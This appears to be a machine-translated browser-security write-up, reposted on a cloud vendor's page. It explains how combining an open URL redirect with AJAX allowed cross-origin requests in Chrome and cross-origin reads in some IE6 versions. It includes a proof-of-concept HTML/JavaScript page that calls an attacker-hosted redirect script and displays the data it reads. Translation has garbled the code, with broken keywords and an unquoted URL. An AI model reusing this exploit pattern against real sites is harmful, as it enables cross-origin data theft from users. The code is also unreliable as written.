AJAX combined with URL forwarding vulnerability cross-Origin data submission

Source: Internet
Author: User

By emptiness

When using ajax, the Chrome browser can submit data across domains (but cannot read the returned data) through the combination of the url forwarding vulnerability ).

Some versions of IE6 (I don't know what version it is, and it is successful at home and in an Internet cafe) can also be submitted and read across domains after the user clicks "OK.

Cross-origin can only be obtained through url-based forwarding.

The following figure shows the data process:

First, request the page redirect. php with the URL forwarding vulnerability. This page returns "location:Www.target.com".

So the browser requested againWww.target.com.

Here, FF, IE7 and later versions, as well as some versions without the vulnerability in IE6, are prone to permission errors.

Chrome vulnerabilities:

After ajax receives a 302 jump, Chrome willWww.target.comSend a get request packet, andWww.target.comThe data is returned.

Unfortunately, xmlhttp in js cannot read the returned data. Otherwise, the vulnerability becomes larger.

Is the data packet obtained by paros:

-----------------------------------------

Some versions of IE6 have vulnerabilities:

However, some versions of IE6 can read data across domains after confirmation by the user:

Users usually click OK.

After clicking OK, alert generates the information captured by sohu.

The following code is used:

XML/HTML code
  1. <! Doctype html public "-// W3C // dtd html 4.0 Transitional // EN">
  2. <! -- Saved from url = (0046) http://www.inbreak.net/kxlzxtest/haha/ajax.htm -->
  3. <HTML><HEAD>
  4. <META Http-equiv=Content-TypeContent="Text/html; charset = gb2312">
  5. <META Content="MSHTML 6.00.6000.16825" Name=GENERATOR></HEAD>
  6. <BODY>
  7. <DIV Id=Divid Height="600" Width="600" Name="Divid"><INPUT Onclick=DoMyAjax()Type=Button Value=Aaa> </DIV>
  8. <SCRIPT>
  9. Var xmlHttp;
  10. Var tmpdiv;
  11. Function createXMLHttp (){
  12. If (window. XMLHttpRequest ){
  13. XmlHttp=NewXMLHttpRequest ();
  14. }
  15. Else if (window. ActiveXObject ){
  16. XmlHttp=NewActiveXObject ("Microsoft. XMLHTTP ");
  17. }
  18. }
  19. Function startRequest (doUrl ){
  20. CreateXMLHttp ();
  21. XmlHttp. open ("GET", doUrl, false );
  22. XmlHttp. send (null );
  23. SetTimeout ("alert (xmlHttp. responseText)", 3000 );
  24. }
  25. Function doMyAjax ()
  26. {
  27. VarTime=Math. Random ();
  28. VarStrPer=Http://www.inbreak.net/kxlzxtest/haha/redirect.php? Done = http://www.sohu.com+ String. fromCharCode (38) +Time= + Time;
  29. StartRequest (strPer );
  30. }
  31. </SCRIPT>
  32. </BODY>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.